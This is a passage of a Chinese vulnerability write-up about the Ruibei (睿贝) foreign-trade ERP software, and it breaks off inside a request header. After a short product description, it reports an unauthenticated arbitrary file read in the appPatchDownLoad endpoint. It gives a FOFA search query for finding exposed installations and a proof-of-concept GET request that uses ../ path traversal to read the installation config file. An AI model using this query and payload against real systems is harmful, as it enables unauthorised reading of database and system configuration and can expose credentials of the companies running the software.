0x01 产品简介

睿贝外贸ERP软件专门为中小型外贸企业打造的一款界面简洁、易用、操作人性，几乎实现零培训， 彻底颠覆其他软件漫长的实施周期。主要功能包括邮件管理、客户管理、邮营销、产品、供应商，报价、订单、出运、单证、财务、利润分析等一体化管理，以及Excel格式单据操作，单据格式随心所欲，完全满足公司现有的单据格式。

0x02 漏洞概述

睿贝外贸ERP appPatchDownLoad 接口处存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

0x03 复现环境

FOFA：

body="loginNeedMobileNumVerification" || body="睿贝软件"

0x04 漏洞复现

PoC

GET /appPatchDownLoad?fileName=../../../../RebeeCRM/_RebeeCRM_installation/installvariables.properties HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel